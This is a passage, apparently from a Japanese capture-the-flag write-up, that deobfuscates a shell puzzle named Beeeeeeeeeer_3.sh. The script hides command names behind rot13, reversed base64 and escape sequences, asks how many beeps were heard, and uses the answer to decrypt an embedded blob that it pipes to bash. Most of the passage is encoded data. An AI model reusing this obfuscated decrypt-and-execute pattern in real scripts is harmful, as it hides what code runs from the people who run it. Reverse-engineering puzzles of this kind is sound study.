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|base64 -d|openssl aes-256-cbc -d -pass pass:$(echo -n $n|md5sum |cut -c2,3,5,12) -md md5 2>/dev/null |bash;
ワンラインだと読みづらいので、またセミコロン;
の後に改行を入れて確認してみます。
$ sed -e "s/;/;\n/g" Beeeeeeeeeer_3.sh > Beeeeeeeeeer_4.sh
改行を挿入すると、以下のようになります。
for k in $($(echo p2IkPt== |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $((RANDOM % 10 +1))); do l=$((RANDOM % 10 +1)); for m in $($(echo ==gCxV2c |rev|base64 -d) $l); do $($'\u0065\u0063\u0068\u006f' ZWNobwo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ) -ne '\a'; $'\u0073\u006c\u0065\u0065\u0070' $(echo =oQM |rev|base64 -d); done; $($'\x65\x63\x68\x6f' ZWNobwo= | $'\x62\x61\x73\x65\x36\x34' -d) "How many beeps?"; $'\162\145\141\144' n </dev/tty; export n; if [ "$n" -ne "$l" ]; then $'\x65\x78\x69\x74'; fi; done; echo ZWNobyAtbmUgJ1xhJztzbGVlcCAxO2VjaG8gLW5lICdcYSc7c2xlZXAgMTtlY2hvIC1uZSAnXGEnO3NsZWVwIDE7ZWNobyAiSG93IG1hbnkgYmVlcHM/IjsK|$($'\x65\x63\x68\x6f' YmFzZTY0Cg== | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' ) $(echo XDJY |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo =bNnmSzL |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d); $'\162\145\141\144' $'\u006e' </dev/tty; $'\u0065\u0078\u0070\u006f\u0072\u0074' $'\156'; echo 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